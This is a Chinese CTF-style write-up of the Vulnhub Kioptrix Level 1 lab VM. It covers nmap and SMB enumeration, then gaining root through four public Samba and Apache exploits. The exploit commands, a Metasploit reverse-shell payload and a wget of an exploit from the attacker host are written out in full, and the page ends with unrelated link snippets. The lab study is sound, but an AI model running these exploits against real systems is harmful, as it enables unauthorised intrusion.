0×01 Vulnhub靶机渗透总结之 Kioptrix: Level 1 (#1)

系列专栏:Vulnhub靶机渗透系列

欢迎大佬:点赞️收藏关注

首发时间: 2023年8月20日

如有错误 还望告知 万分感谢

基本信息

Kioptrix: Level 1 (#1),Vuluhub简单难度靶机。这个靶机的目标是通过任何可能的方式获得 root 访问权限,学习脆弱性评估和利用的基本工具和技术,没有太多的花里胡哨,公开漏洞的筛选和利用需要做出权衡,也许过程中会因为其他的发现而发生策略性的变化,其中的搜索、筛选、权衡、比对、工具技巧才是重点。这里选择了两种服务利用的提权方式,尝试了四种利用。希望你借此机器,能够感同身受地思考你攻击测试方向的选择。

名称 说明
靶机下载链接 https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
作者 Kioptrix
发布日期 17 Feb 2010
难度 easy
攻击机(kali) ip:192.168.80.148
靶机(CentOS) ip:192.168.80.177

信息收集

主机发现、端口扫描、服务枚举、脚本漏扫(nmap)

nmap 192.168.80.0/24 -sn --min-rate 1000
nmap 192.168.80.177 -sT -p- --min-rate 1000 -oA nmap_result/port_scan
nmap 192.168.80.177 -sU --top-ports -oA nmap_resule/portudp_scan
nmap 192.168.80.177 -p $port -sT -sV -O -sC -oA nmap_result/server_info
nmap 192.168.80.177 -p $port --script=vuln -oA nmap_result/vuln_info port=$(grep open nmap_result/port_scan.nmap|grep open|awk -F '/' '{print $1}'|paste -sd ',')

开放端口:tcp 22,80,111,139,443,1024

22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)

80/tcp open http Apache httpd 1.3.20 ((Unix)

111/tcp open rpcbind

139/tcp open netbios-ssn Samba smbd

443/tcp open ssl/https Apache/1.3.20

1024/tcp open status

PORT 111 rpcbind

searchsploit rpcbind
nmap -sSUC -p111 192.168.10.1

没有枚举出其他值得注意的服务

PORT 139 SMB (enum4linux、smbclient)

enum4linux枚举,smbclient连接共享

enum4linux 192.168.80.177

smbclient --no-pass //192.168.80.177
smbclient --no-pass //192.168.80.177/IPC$
smbclient --no-pass //192.168.80.177/ADMIN$
smbclient "\\\\192.168.80.177\\IPC$"

探测到了共享:ADMIN$ ,可匿名登录但拒绝访问文件

PORT 22 SSH

searchsploit openssh 2.9

能尝试的有用户名枚举

目录扫描(dirsearch、gobuster)

未找到隐藏文件和其他目录

dirsearch -u "http://192.168.80.177" -o dirsearch_info
gobuster dir -u http://192.168.80.177 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -o gobuster_info

PORT 80/443 http/https

都是Apache默认页面,尝试从其他服务方面入手

二次收集

SMB版本探测

服务枚举未探测扫samba的版本,使用MSFsmb_version模块探测版本信息。

 msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.80.177; set RPORT 139; run; exit'

Unix (Samba 2.2.1a)

shell as root(Apache、Samba 公开漏洞)

1、(CVE-2003-0201)Samba RCE

尝试Samba远程代码执行 Samba < 2.2.8 (Linux/BSD)- Remote Code Excution,对应的是10.c

根据EXP注释中的语法规则编译执行

searchsploit samba 2.2
searchsploit samba -m 10 gcc 10.c -o ./shellasroot
./shellasroot -b 0 -v 192.168.80.177

成功获得root权限

2、(CVE-2003-0201)Samba call_trans2open 溢出

Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit)

需要使用 MSF exploit/linux/samba/trans2open模块,设置 payload linux/x86/shell_reverse_tcp

searchsploit samba 2.2
searchsploit samba 2.2 -m 9924 msfconsole -q -x 'use exploit/linux/samba/trans2open; set RHOSTS 192.168.80.177; set LPORT 5555;set payload linux/x86/shell_reverse_tcp; run; exit'

成功拿到root

3、(CVE-2003-0651)Apache mod_mylo - RCE

尝试apache远程代码执行漏洞 Apache 1.3.x mod_mylo - Remote Code Execution对应的是67.c

根据EXP注释中的语法规则编译执行

gcc 67.c -o 67test
./67test -t 192.168.80.177 -T 1

成功拿到root权限

4、(CVE-2002-0082)Apache mod_ssl/Apache-SSL 远程缓冲溢出

<1>尝试apache远程缓存溢出Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c'Remote Buffer Overflow(1),对应的是764.c。

gcc 764.c -o test764

<2>gcc编译时提示未找到 openssl/ssl.h ,具体情况是安装 libssl-dev找不到相应的头文件,尝试安装各种库后仍失败了,查阅资料后,能编译成功做法是修改764.c,或者ubuntu中对原来764.c进行编译。但不幸尝试了两种方法进行编译后依旧报错,尝试执行依旧不行。

<3>最后在764.c的前段注释中找到了方法。

<4>尝试 Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)

依据注释进行编译

searchsploit -m 47080
gcc -o 47080 47080.c -lcrypto
./47080 0x6b 192.168.80.177 443 -c 50

<5>执行时,需要要指定打入的内存参数,从80端口推测靶机为 RedHat,使用0x6b成功拿到shell

拿到网站apache权限

但发现获得apache权限时,会自动下载ptrace-kmod.c后gcc编译,提示 'Unable to establish SSL connect',

kali中下载 ptrace-kmod.c到本地,查看注释是内核漏洞提权。使用py开启http服务将文件摆渡到靶机/tmp下,再次重新执行./47080

//kali
python3 -m http.server --bind 0.0.0.0 9000 //靶机 apache权限
cd /tmp
wget http://192.168.80.148:9000/ptrace-kmod.c

拿到root权限

思路总结

一、主机发现、端口扫描

  • 22(ssh):只能尝试爆破
  • 80(http):优先考虑
  • 111(rpc):放最后
  • 139(NetBIOS/SMB):特定EXP
  • 443(https):优先考虑
  • 1024:动态端口的开始,许多程序并不在乎用哪个端口连接网络,它们请求系统为它们分配下一个闲置端口。

二、服务枚举。

  • Apache 1.3.20
  • Samba 2.2.1a(MSF探测版本)
  • mod_ssl 2.8.4
  • OpenSSL 0.9.6b

三、发现web站点是apache默认页面并无太多有价值信息,则着手从各个服务出发,在对SMB服务进行枚举后发现存在共享,尝试无密码访问却无权浏览文件,则将攻击方向转变为各个服务,通过对公开漏洞进行搜索,并尝试了Samba服务和Apache服务的四个漏洞利用,均拿到了root权限。

四、最后,这台靶机不难但也要做出反思

  • 对于攻击者而言,一个小小的泄露可能会引起他的攻击兴趣。

  • 思考自己的操作是否会引发重大安全事件(例如严重的溢出)

  • 需要随时盘点获得的信息,并对其进行判断,重要的是思路的拓展和细节的把控,即使走不通的也有其中的尝试和思考。(Apache mod_ssl/Apache-SSL 远程缓冲溢出)

技巧

  1. 端口整理技巧

    port=$(grep open nmap_result/port_scan.nmap|grep open|awk -F '/' '{print $1}'|paste -sd ',')
  2. searchsploit通过本地的exploit-db查找软件漏洞信息.也可以在exploit-db上查询和下载exp

    searchsploit xx(exp关键字) -m xx(c文件) ,直接保存至当前目录,方便gcc编译。
  3. nmap探测不到 samba 的版本时,可尝试 msf 模块 auxiliary/scanner/smb/smb_version
  4. msfvenom 生成时使用的 payload 最好要与 msfconsole handler 中使用的 payload 要一致。否则可能收到响应,但没有 shell。
  5. rpcbind 就是服务端管理 rpc 服务的软件,而rpc 是远程过程调用。可以通过 nmap 获知服务端提供的 rpc 服务,根据不同的服务,相关利用参考

参考链接

字符截取命令 cut、printf、awk、sed:https://www.cnblogs.com/anchun7080/p/10316904.html)

Hack The Kioptrix Level-1:https://www.hackingarticles.in/hack-the-kioptrix-level-1/

Kioptrix: Level 1 (#1) 古老的Apache Samba VULN的更多相关文章

  1. Kioptrix Level 2

    简介 Vulnhub是一个提供各种漏洞环境的靶场平台. 个人学习目的:1,方便学习更多类型漏洞.2,为OSCP做打基础. 下载链接 https://www.vulnhub.com/entry/kiop ...

  2. vulnhub 靶机 Kioptrix Level 1渗透笔记

    靶机下载地址:https://www.vulnhub.com/entry/kioptrix-level-1-1,22/ kali ip 信息收集 先使用nmap收集目标的ip地址 nmap -sP 1 ...

  3. Apache网站服务源码安装与站点部署

    简介: 在Internet 网络环境中,Web服务无疑是最为主流的应用系统,有了WEB站点,企业可以充分展示自己的产品,公司,宣传自己的企业形象,提供各种网上交流,业务平台等. Apache起源:源于 ...

  4. cetos6 安装samba共享文件夹

    yum方式安装 yum install samba 修改配置文件 vim /etc/samba/smb.conf [global] comment = global workgroup = QFpay ...

  5. Linux Samba服务主配文件smb.conf中文详解

    从网上找到描述比较详细的smb.conf中文解释: 服务名:smb 配置目录:/etc/sabma/ 主配置文件:/etc/sabma/smb.conf #====================== ...

  6. 用samba来创建windows下的文件共享

    前言 Samba是一个能让Linux系统应用Microsoft网络通讯协议的软件,而SMB是Server Message Block的缩写,即为服务器消息块 ,SMB主要是作为Microsoft的网络 ...

  7. samba服务配置(二)

    需求: 某公司销售部门提出一个文件共享需求,要求部门共享目录有三个,第一个共享目录所有销售部门人员都具有可读可写权限: 第二个共享目录所有销售人员只读权限,经理级别的销售人员具有可读可写权限:第三个共 ...

  8. Linux Samba服务主配文件smb.conf中文详解【转】

    转自:https://blog.csdn.net/maotianwang/article/details/52524732 从网上找到描述比较详细的smb.conf中文解释: 服务名:smb 配置目录 ...

  9. win2003系统网络安装——基于linux+pxe+dhcp+tftp+samba+ris

    原文发表于:2010-09-16 转载至cu于:2012-07-21 一.原理简介 PXE(preboot execute environment)工作于Client/Server的网络模式,支持工作 ...

  10. Linux Samba文件共享服务,安装与案例配置

    Samba服务器安装和配置 1:安装Samba服务器软件包 [root@localhost ~]# rpm -qa | grep samba [root@localhost ~]# yum -y in ...

随机推荐

  1. 2022-05-22:给定一个二叉树, 找到该树中两个指定节点的最近公共祖先。 百度百科中最近公共祖先的定义为:“对于有根树 T 的两个节点 p、q,最近公共祖先表示为一个节点 x,满足 x 是 p

    2022-05-22:给定一个二叉树, 找到该树中两个指定节点的最近公共祖先. 百度百科中最近公共祖先的定义为:"对于有根树 T 的两个节点 p.q,最近公共祖先表示为一个节点 x,满足 x ...

  2. 2022-04-02:你只有1*1、1*2、1*3、1*4,四种规格的砖块。 你想铺满n行m列的区域,规则如下: 1)不管那种规格的砖,都只能横着摆, 比如1*3这种规格的砖,3长度是水平

    2022-04-02:你只有11.12.13.14,四种规格的砖块. 你想铺满n行m列的区域,规则如下: 1)不管那种规格的砖,都只能横着摆, 比如1*3这种规格的砖,3长度是水平方向,1长度是竖直方 ...

  3. 2021-09-22:请你判断一个 9x9 的数独是否有效。只需要 根据以下规则 ,验证已经填入的数字是否有效即可。数字 1-9 在每一行只能出现一次。数字 1-9 在每一列只能出现一次。数字 1-9

    2021-09-22:请你判断一个 9x9 的数独是否有效.只需要 根据以下规则 ,验证已经填入的数字是否有效即可.数字 1-9 在每一行只能出现一次.数字 1-9 在每一列只能出现一次.数字 1-9 ...

  4. 2023-05-24:为什么要使用Redis做缓存?

    2023-05-24:为什么要使用Redis做缓存? 答案2023-05-24: 缓存的好处 买啤酒和喝啤酒的例子可以帮助我们理解缓存的好处. 假设你在超市里买了一箱啤酒,如果你需要每次想喝啤酒就去超 ...

  5. git从配置到使用

    一 .安装git 1.1 官方地址为:https://git-scm.com/download/win 1.2 双击下载的.exe文件 1.3 直接下一步 1.4 自定义安装目录 1.5 勾选命令行和 ...

  6. 《Generative Adversarial Nets》论文精读

    论文精读<Generative Adversarial Nets> 导言:生成模型是目前爆火的一个研究方向,据Microsoft对于ChatGPT-4的研究称"ChatGPT-4 ...

  7. js有关dom操作学习

    dom对象就是操作网页的document dom节点: 整个文档是一个文档节点(document对象) 每个 HTML 元素是元素节点(element 对象) HTML 元素内的文本是文本节点(tex ...

  8. DOS系统中EXE程序加载过程

    1.在内存区中寻找一段容量足够的空闲内存区. 2.这段内存区的前256字节中,创建一个称为程序段前缀(PSP)的数据区. 3.这段内存区256字节之后,将程序装入,程序的地址被设为SA+10H : 0 ...

  9. 【PAT】1001 害死人不偿命的(3n+1)猜想(动态更新)

    卡拉兹(Callatz)猜想: 对任何一个正整数 n,如果它是偶数,那么把它砍掉一半:如果它是奇数,那么把 ( 砍掉一半.这样一直反复砍下去,最后一定在某一步得到 n=1.卡拉兹在 1950 年的世界 ...

  10. java反射机制原理及应用

    java反射机制 反射机制原理示意图 ​ Class.forName(字节码文件) 类.class 对象.getClass() 用法: 根据配置的properties文件(不仅是properties) ...